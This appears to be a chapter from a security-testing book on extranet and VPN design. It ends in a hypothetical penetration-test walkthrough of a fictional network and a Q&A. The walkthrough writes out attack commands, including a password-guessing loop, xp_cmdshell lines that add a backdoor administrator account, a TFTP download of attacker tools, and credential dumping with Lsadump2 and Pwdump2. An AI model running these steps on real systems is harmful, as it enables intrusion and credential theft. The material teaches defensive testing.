An extranet is a network used to share information with customers, partners, suppliers, and vendors. Creating a solid extranet or virtual private network (VPN) solution can be very tricky. Mistakes made in these areas can give attackers a high bandwidth connection directly into your internal network. Although an extranet isn’t always put to the same uses as public Internet servers, many of the same techniques for protecting Internet servers are used to secure extranets.
Many extranets do leverage VPN technologies both to restrict access and to ensure that all traffic between your clients and your network is tamper-resistant and private. Before Internet access was common in most companies, links between networks were typically maintained over leased lines, or they sometimes used dial-up access. A leased line has the advantage of being visible only to the telephone company providing the line. Although it doesn’t create a perfectly secure situation, it’s harder to access a leased line and to monitor the data than to capture data moving across the Internet. However, a leased line is expensive and inflexible. If you needed to add another company to your leased line network, you had to pull another line in and set up networking gear on both ends. This process didn’t typically happen quickly, so to overcome the many disadvantages of maintaining a large number of leased lines, companies and individuals now provide the same functionality by utilizing VPNs.
Note
The terminology used to describe VPNs isn’t always consistent. Some references describe a leased line as a VPN, whereas others exclude a leased line from the definition. The first letter of the acronym stands for "virtual," but a leased line isn’t a virtual network; it is an actual physical network link. For example, Microsoft has a worldwide internal network. It obviously has many internal leased lines, but these are not thought of as being VPNs. Two networks that are connected across a third, less trusted network is typically defined as a VPN. For more information about VPN definitions, go to the VPN Consortium website at http://www.vpnc.org/vpn-technologies.pdf.
The VPN Consortium defines three types of VPNs:
Trusted. A trusted VPN is one in which the service provider assures that no one else will be using the same circuit. Its own security team ensures that your network is not available to other people. However, people are able to compromise telephony providers to a significant degree, so the privacy of your data (and possibly your internal network) can be compromised.
Secure. In a secure VPN, the data is encrypted and authenticated at each end. Thus, a secure trusted VPN can provide a higher level of assurance that your data will reach the other end without being subject to snooping and tampering.
Hybrid. A hybrid VPN is both trusted and secure.
An extranet can be created without using a VPN. Several different approaches can be used to provide services to other companies and vendors without requiring a VPN. An extranet could be based on something as simple as an external website that requires some form of authentication. Another approach would be to create an external application server running Terminal Services (or similar software).
Even though an extranet restricts access to certain vendors and companies, it is important to remember that you don’t control the security of the networks that connect to your extranet. You don’t screen the people that those companies hire. Also remember that an extranet normally contains more sensitive data than a public Internet site. You might have business reasons to allow servers in the extranet to push data back into your internal network, or even update internal databases in real time. Even though you’ve reduced the risk to your extranet by restricting access, the value of the assets contained within the extranet is higher, and the boundary between the extranet and the internal network is more porous than the boundary between your internal network and your public Internet presence. What this boils down to is you putting some serious effort into the design of your extranet, monitoring activity within the extranet carefully, and like any other network design, validating the extranet with testing.
To secure both the gateways into the extranet and the boundary between the extranet and the internal network, you use the same general approach you would when creating a public Internet presence. You need to understand this approach to know how to properly test the security of an extranet. An excellent reference on the topic of secure network design is Building Internet Firewalls, Second Edition, by Zwicky, Cooper, and Chapman (O’Reilly, 2000). Zwicky and her co-authors offer a well-organized review of the various approaches, which are summarized in the following sections. Because the goals of an extranet and a public Internet presence differ, not all the points made in Building Internet Firewalls directly apply.
A dual-homed host is a system that has at least two network interfaces, as shown in Figure 27-1. You expose the external interface directly to the external network. The external network could be the Internet, or it could be attached to any two networks with differing levels of trust. Ideally, you harden the host at system level to make it more resistant to intruders, and you might or might not choose to screen the external interface with a packet-filtering router or firewall. Systems that expose a VPN are typically dual-homed hosts by necessity.
The dual-homed host exposes services by running those services directly, as in the usual case of a VPN, possibly by proxying the services, or by allowing users to log directly into the dual-homed host. The diagram in Figure 27-1 is simplified—a typical network has another firewall layer and connections to an internal network.
The most obvious problem with a dual-homed host is that if it is compromised, all servers in the extranet are now exposed directly to the external network. The best approach to securing a dual-homed host is to severely restrict the services made available by it, which reduces the attack surface available to the outside world. Allowing users to log directly on to the dual-homed host is a risky proposition, because of the level of flexibility allowed to an interactive user. Even a system aggressively locked down in kiosk mode can sometimes be used to explore the internal network, and sometimes the kiosk mode can be broken out of. However, allowing external users to log on remotely might be the lesser of the evils for an extranet—you can’t require external users to install special software in most cases, so installing the software on a system you can control might be the less risky approach.
Tip
Do not get into the business of being the security person who says only "no." If there are good business reasons to do something, it will happen with or without your help. If you don’t like a particular solution, work with the group doing the work to come up with a better one. If you stay involved, you can usually limit the risk, and if you’re aware of the flaws in the plan, you can monitor more closely.
The best approach to use when dealing with Internet-exposed systems (or any system dual-homed between networks of differing trust levels) is to assume that the external system will be compromised at some point in the future. Build in mitigations—be ready to completely flatten and rebuild the system at any time. Monitor what the system is doing closely, and look for signs of unusual activity. You should also harden any systems that are directly accessible by the dual-homed system; remember that they could end up exposed to the Internet if you’re having a bad day.
A screened host sits behind a firewall that exposes only that system to the external network. Figure 27-2 shows a typical screened host configuration. Screened hosts pose many of the same security problems as dual-homed hosts. One advantage to a screened host is that the firewall might be able to provide more protection to the system than the system’s own network filters could. A disadvantage is that the firewall can be configured (possibly intentionally) to allow access to other systems in the extranet to and from the external network. If the service that the screened host provides to the external network can be compromised, the attacker has access to the other extranet hosts.
One benefit of having the firewall in place is that it could continue to offer some level of protection. If the firewall is configured to alert on unusual activity, an attacker might trigger alarms. The firewall should also be configured to impose restrictions on outbound traffic as much as possible. If an attacker compromises a host behind a firewall but is unable to either upload new tools or to make the compromised host download new tools from the outside, the damage is limited and the attacker’s work is at least slowed down.
A screened subnet, which is shown in Figure 27-3, incorporates a firewall between externally exposed systems and the extranet hosts, and another firewall between the extranet hosts and the internal network. One approach is to have the extranet hosts single-homed on their subnet.
Screened subnets can be implemented in several layers. For example, you could have the systems that are exposed directly to the vendors screened from other systems that provide additional extranet support; these systems would in turn be screened from the actual internal network. Screening vendors from one another can limit problems with one vendor obtaining access to another vendor’s information.
One property of a screened subnet is that the hosts are single-homed, and the external users connect to the same network interfaces that internal users connect to, sometimes for administrative purposes. The main advantage is a simplified configuration. A disadvantage is that many security measures are most easily be applied at the network interface level. For example, Terminal Services running on a Microsoft Windows 2000 Server can be configured to run on all interfaces, or on only specific interfaces.
With a split screened subnet, the extranet hosts are dual-homed—a front-end network segment is usually very restricted, and a back-end segment is less restricted and can be used to administer the systems. An example of a split-screened subnet is shown in Figure 27-4.
With this configuration, you can take advantage of security measures that can be applied on a network interface, but you also face additional complexity: if a service listens by default on all interfaces, operational people need to remember to reconfigure the service to run only on the proper interface.
Testing the security of an extranet depends on how the extranet is configured. If the extranet exposes services directly to the Internet, you need to test each of those services to make sure the systems are up to date on patches. Always test the packet filtering rules to see whether extra ports have been left open. As described in Chapter 11, check whether changing the source port changes what you have access to. Also look for ports that might be left open by the filters that aren’t actually listening–if you can compromise an internal server, you can place a listener on this port and use it to upload more tools as well as download information you collect.
In the case of an extranet using a VPN, don’t give up if you can’t get past the VPN. As penetration testers, you can work with a number of different scenarios. Get a valid VPN account and let the scenario be that you’re a bad person working for the other company. Once you’re in, start sizing up the network as you would during a typical penetration test. Aside from the usual weak passwords and missing patches, here are some things to look for:
Failure to use least privilege. Does the extranet allow all users with internal accounts to log on, or is it limited to just those who have a need to access the extranet?
Inadequate separation of different levels of asset. All these firewalls get expensive. Your network operations people will try to use as few as possible. The result can be that the vendor who sells you office supplies and comes in to pick up your paper clip order also has access to the systems your accountants use.
High-level internal users on extranet systems. In many cases, you’ll need to allow internal accounts to log on to the extranet. Because the extranet is a high-risk environment, high-level users shouldn’t be allowed to log on. That service running on a server on the back-end of the extranet under the domain admin account could get compromised and give away the whole internal network.
High-level extranet accounts being used on systems you don’t control. Sometimes, you might allow a vendor to place its systems on your extranet. Treat systems like this with distrust, and don’t allow any high-level users to log on.
High-level accounts logging on to different segments of the extranet. Many of the applications running on an extranet are open to risks, but taking over one application shouldn’t allow an attacker to take over all the others located on the same extranet.
Systems dual-homed between the extranet and the internal network. If one of these systems is compromised, the attacker has a high-bandwidth tunnel right into your internal network.
Lack of intrusion detection systems. Make a lot of noise—run port scanners, vulnerability assessment tools, and so on. Did your phone ring? If not, someone has some explaining to do.
Now that you’ve learned some of the basics about the security issues faced by extranets and VPNs, you’ll put all that information together and look at a typical network. You’ve been given a specific network range in which the extranet is exposed to the Internet—say, 10.20.30.0/24, or the range from 10.20.30.0 through 10.20.30.255. The network address in this example is reserved for private networks and should never be routed over the Internet; anything else could be someone’s real network.
First, start with a port scan. The results are shown in Table 27-1:
Table 27-1. Sample Port Scan Results
IP address | Port | ||
|---|---|---|---|
80 (HTTP) | 443 (HTTPS) | 3389 (Terminal Services) | |
10.20.30.4 | Refused | Refused | Open |
10.20.30.5 | Open | Refused | Timeout |
10.20.30.6 | Refused | Open | Timeout |
According to Table 27-1, your port scan didn’t show any other systems in the range, and no other ports responded. What does this information tell you? A Web server is available at 10.20.30.5, an HTTPS Web server is running on 10.20.30.6, and most interesting of all, a Windows Terminal Services system is running at 10.20.30.4. In addition to finding some open ports, there are ports on all three servers that aren’t being filtered and aren’t currently in use.
Thinking about what you learned in Chapter 11, you consider that maybe some source port scans could be useful. Nice try, but in this case you come up empty. Next, you might try firewalking—just what is restricting you? It seems like the filtering rules are all applied at the last hop you get a response from. What could this be?
One possibility is that all these systems are exposed directly to the Internet and are implementing their own filters. Another possibility is that a firewall is publishing the services to the Internet. You’ll have a hard time telling which configuration is being used until later in the penetration test.
Now let’s take a crack at the Web server. It presents you with a logon screen and asks for a user name and password. You then cook up a quick script, and start pounding away trying to guess user names and passwords. Still no luck. Next, you try sending the server user names like "LetMeIn or 1==1′ –" –, a classic SQL injection test. Curses! Foiled again. Hmmm, maybe this network is secure after all.
Now you try the latest buffer overflow exploit against the Web server. Surely they’ve patched it, because everything else on this network seems nice and solid. Much to your surprise, you get back a command prompt running as localsystem. Hooray! You win!
A few seconds later, the implications sink in. First, the Web server is supposed to be making money for your company, but you’ve just taken it down. In a couple of minutes, someone is going to be very upset. Second, there are hordes of script kiddies running around with this exploit; you can’t leave the server this way. You make a couple of calls and get the system administrator on the phone, then explain the problem. He shrieks "You did WHAT?!? I thought I patched that!" As you watch your command prompt disappear, the administrator comes back on the phone, and thanks you for finding the problem. You’ve just made your network safer, but now you’re back to square one. This could end up being a very short penetration test report.
Now you take a crack at the Terminal Server system. You point your Remote Desktop Connection client at the system, and get presented with a familiar logon screen. A quick look at the available domains shows the following:
EXTRANET-TS1 (this computer)
EXTRANET
INTERNAL
Hmmm. INTERNAL? INTERNAL is the name of your internal corporate domain. That shouldn’t be left open to the Internet, so you give it a try. You type in your user name and password, and select INTERNAL for the domain. You’re looking at a desktop with some custom application running on it that has suffered an interesting failure: it can’t access some data source, probably because you don’t have access to the data yourself. Maybe this won’t be such a short penetration test report after all!
You take stock. You found a failure of principle of least privilege. The terminal services system has no business allowing you to log on. It isn’t part of your job description to be able to use this server. You now have user-level access. You see what you can do from here and what information can be gathered about the internal network.
Now that you’ve managed to get a platform inside the extranet to work from, you take a look. First, what network are you on? Pull up a command prompt and run ipconfig /all:
C:>ipconfig /all
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : extranet-ts1
Primary DNS Suffix . . . . . . . : extranet.example.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : extranet.example.com
Ethernet adapter External:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-30-BD-06-47-E7
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 10.20.31.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.20.31.1
DNS Servers . . . . . . . . . . . : 10.20.35.7
Primary WINS Server . . . . . . . : 192.168.0.6
Ethernet adapter Internal:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Acme Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-03-6D-10-0F-2F
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.0.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.187
DNS Servers . . . . . . . . . . . : 192.168.0.35
Primary WINS Server . . . . . . . : 192.168.0.35You get a fairly good idea of how this network is configured. The Internet facing systems are set up in a split screened subnet. The system at 10.20.31.1 is your gateway back to the Internet. One interesting bit to consider is that your IP address on the External interface isn’t the same as the IP addresses you found from your external scans. How can this happen? A firewall can "publish" an internal server, and the IP addresses assigned by the firewall can be completely different from the internal addresses. There’s another clue about the firewall configuration in this information—notice that the External interface is configured to use an external system to handle DNS lookups. The firewall has to be configured to forward at least some packets to the outside.
What else can you learn? What other systems are running on the extranet? Try a simple net view:
C:>net view Server Name Remark --------------------------------------------------------------------- \EXTRANET-TS1 \EXTRANET-DC \EXTRANET-SQL \EXTRANET-TS2 \EXTRANET-WEB2 \EXTRANET-WEB1 The command completed successfully.
In addition to the three externally exposed servers you found from the outside, you found EXTRANET-DC and EXTRANET-TS2. Use DNS to confirm your findings:
C:>nslookup Default Server: extranet-dc.extranet.example.com Address: 192.168.0.35 > _kerberos._tcp.extranet.example.com Server: extranet-dc.extranet.example.com Address: 192.168.0.35 Name: _kerberos._tcp.extranet.example.com
Your DNS query for _kerberos._tcp.extranet.example.com confirms two pieces of information: EXTRANET-DC really is a domain controller; and it is a Windows 2000 Server or later, because Kerberos support was introduced in Windows 2000. Let’s continue to explore. You know you can take inventory on two subnets using a command-line ping sweep:
C:>for /l %d in (1, 1, 254) do ping -a -n 1 192.168.0.%d
This command tries to ping every system on the internal network segment. Table 27-2 shows your results:
Table 27-2. Sample Results of First Command-Line Ping Sweep
IP address | Result |
|---|---|
192.168.0.4 | extranet-ts1.extranet.example.com |
192.168.0.5 | extranet-web1.extranet.example.com |
192.168.0.6 | extranet-web2.extranet.example.com |
192.168.0.35 | extranet-dc.extranet.example.com |
192.168.0.36 | extranet-ts2.extranet.example.com |
192.168.0.37 | extranet-sql.extranet.example.com |
192.168.0.40 | RALPH |
192.168.0.187 | Name not resolved |
These results are interesting, because you found all the systems you were expecting, but what’s RALPH? You try a net view again:
C:>net view /domain Domain ------------------------------------------------------------ INTERNAL EXTRANET The command completed successfully.
Followed by:
C:>net view /domain:INTERNAL Server Name Remark ------------------------------------------ \RALPH The command completed successfully.
So RALPH is a member of the INTERNAL domain? That’s an interesting development. Just for completeness, you also take a look at the IP range available from the External interface:
C:>for /l %d in (1, 1, 254) do ping -n 1 10.20.31.%d
Table 27-3 shows the results of your second sweep.
The fact that the names are showing up in all capital letters tells you that DNS is unable to resolve any IP addresses on the 10.20.31.x subnet, but Net-BIOS is giving you answers. The firewall is your gateway, and it is located at 10.20.31.1 and does at least respond to pings internally. Figure 27-5 is a diagram of the network you’ve discovered:
Enough exploration—let’s try and take over something. A penetration test report consisting of "achieved user-level access and pinged hosts" isn’t likely to impress anyone. First, get an idea of who’s in charge of the network:
C:>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the
computer/domain
Members
---------------------------------------------------------------------
ExtAdmin
Domain AdminsThis result tells you that the local administrator account has been renamed, and that there aren’t any other local admin accounts. What users are in the Domain admins group?
C:>net group "domain admins" /domain The request will be processed at a domain controller for domain extranet .example.com Group name Domain Admins Comment Designated administrators of the domain Members -------------------------------------------------------------- DCAdmin ralph INTERNAL\_svc The command completed successfully.
You now know that an account on the INTERNAL domain has domain administrator access to the EXTRANET domain. There’s also a likely linkage between the EXTRANET alph user and the system named RALPH. Next, you’d like to try some password guessing, so you create a list of likely passwords and test them:
C:>for /f %d in (passwords.txt) do net use \127.0.0.1 /user:EXTRANET-TS1 ExtAdmin %d
After you come back from lunch, you find that the ExtAdmin account doesn’t have a weak password. What now? You try looking at some shares:
C:>net view \extranet-web1 Shared resources at \extranet-web1 Share name Type Used as Comment -------------------------------------------- WebRoot Disk The command completed successfully.
A little browsing shows that you now have read access to the source of the Web server. After further investigation, you find this code in the source:
oConn.Open "Provider=sqloledb;" & _
"Data Source=EXTRANET-SQL;" & _
"Initial Catalog=ExtranetDb1;" & _
"User Id=sa;" & _
"Password=Extr4net1!"Cool. Now you have an sa password. How can you use it? A quick check of your local program menu shows that you have Microsoft SQL Server administration tools installed. They must have been trying to debug a problem with the application that failed when you logged on. This is great. You go ahead and connect to EXTRANET-SQL, and the sa password works, so you execute the following commands:
Exec xp_cmdshell net user Temp YouR0wned! /add Exec xp_cmdshell net localgroup administrators Temp /add
Now you’re making some progress! You now have an administrator account on the EXTRANET-SQL system. You also have several more vulnerabilities to add to your report:
Loose permissions on EXTRANET-WEB1WebRoot share
Embedded user-password pair in Web application
Using a high-level account to connect to the database
Using a mixed-mode (downlevel) connection to the database instead of a trusted connection
Local administrator group not restricted by domain policy
Administration tools installed on EXTRANET-TS1 and not restricted to administrative users
To get much further, you’re going to need to get some more tools into the network. One of the first tests to try is to run a Web browser. You quickly find that neither EXTRANET-TS1 nor EXTRANET-SQL have a way to browse the Internet. Take note of everything that is configured correctly—a good penetration test report also points out what was done right and how that made an attacker’s job harder.
If you think about it, you know that you can get at least DNS requests out of the network. Although the firewall configuration has been solid so far, that doesn’t mean checking other avenues of attack isn’t worthwhile. You try Trivial File Transfer Protocol (TFTP). First, set up a TFTP server on your system:
C:>tftp -i [your IP] get mytools.exe
Great! The firewall should have been configured to allow DNS requests only to the external DNS server, but it is allowing general UDP requests to exit the network and allowing replies in. If you try to UDP port scan the internal network, you find that you get no replies because the firewall is stateful.
After unpacking your tools, you run Lsadump2 on the EXTRANET-SQL system and find that a service is running as INTERNAL\_svc, with a password of You’llNeverCrackThis1!. They’re right—you’d never crack it—but you did steal it!
You have now completely compromised the EXTRANET domain. A quick check of the remaining member servers in the domain doesn’t yield any useful information. You also note that the ExtAdmin account on each of the member servers has a long password of more than 14 characters, and that it is the same password on each system. Mark two more issues. Long passwords are a good practice, but using the same one on all the systems is not.
Moving over to the domain controller, you run Pwdump2 and find that whereas the DcAdmin account also has a long password, the Ralph account does not. It’s been a long day, so it’s time to clean up and get password-cracking:
Remove the Temp account from EXTRANET-SQL. You can get back in with the sa password, or the INTERNAL\_svc account.
Store your tools someplace they won’t be found.
Delete any sensitive data such as the results of Lsadump2 and Pwdump2 after copying them to your computer.
Take screen shots showing access to sensitive systems. Screen shots always have a nice impact and prove you gained the access you wanted.
Start a password cracker working on the password hashes gained from EXTRANET-DC.
Finally, go get a nice dinner, hopefully at company expense!
You come back the next morning and find that Ralph has a password of 2DaMoonAlice!. Note that no one caught you overnight. Although you’ve taken over the extranet completely, you’d like to continue your escalation of privilege into the internal network, and although INTERNAL\_svc might be a domain admin on EXTRANET, it is not on the INTERNAL domain. The firewall at 192.168.0.187 is configured tightly and allows inbound connections only from EXTRANET-DC to INTERNAL-DC1.
Take a crack at the RALPH system. You first try logging on as INTERNALRalph using the password you obtained, but it doesn’t work. Maybe it expired and Ralph changed it. You try the same password as RALPHAdministrator. Success! You then use Remote Desktop Connection to gain access to RALPH, and find that Ralph has dual-homed the RALPH system across the firewall and created a short circuit. You can proceed to see whether you can leverage INTERNAL\_svc into an escalation of privilege on the INTERNAL domain. Now you get to go do the hard part—create the report.
Q. | What’s the difference between PPTP and L2TP? |
A. | PPTP is a VPN protocol created by Microsoft. It runs over port tcp/1723. PPTP is a reasonably strong protocol as long as the user’s password is strong. PPTP can also run over a NAT or through a proxy because the encryption is done at the data level, not the transport level. L2TP is part of the IPSec specification. Because L2TP creates an IPSec tunnel, it does not allow the payload of the packet to be changed, and it will not run over a NAT. One exception to this is when IPSec is encapsulated on top of UDP, which is available in Microsoft Windows XP and Windows Server 2003 systems. |
Q. | I heard that PPTP was broken. What’s the problem? |
A. | Several problems were found in the first version of PPTP and have been fixed for several years. The protocol does have the weakness of being only as strong as the user’s password. If you require smart cards to log on to PPTP, user-chosen passwords are no longer involved. |
Q. | How do I configure PPTP to use smart cards? |
A. | One place to start is Microsoft’s website. This URL should get you started: http://www.microsoft.com/technet/prodtechnol/windows2000serv/evaluate/featfunc/ias.mspx. |
Q. | What if I have a system in my extranet that must make connections back to the internal network? |
A. | The best approach is to build an application proxy that can run on a tightly secured dual-homed host. That’s a lot of work and won’t always be practical. Another approach is to create a firewall rule that allows that one system to connect to only the required internal systems. You should now treat the internal systems as bastion hosts, and harden them at the host level. Increased monitoring of these systems is also called for. |
Q. | What if I need a domain controller in my extranet that has trusts to the internal network? |
A. | First, make sure that the trust is one-way. Next, create a tunnel between the extranet DC and the internal DC. If you can use Windows Server 2003, use restricted trusts to limit the accounts that can log onto the extranet. Do not allow any internal high-level accounts to log on to the extranet. If you’re not running Windows Server 2003, you can accomplish the same effect using user privileges. |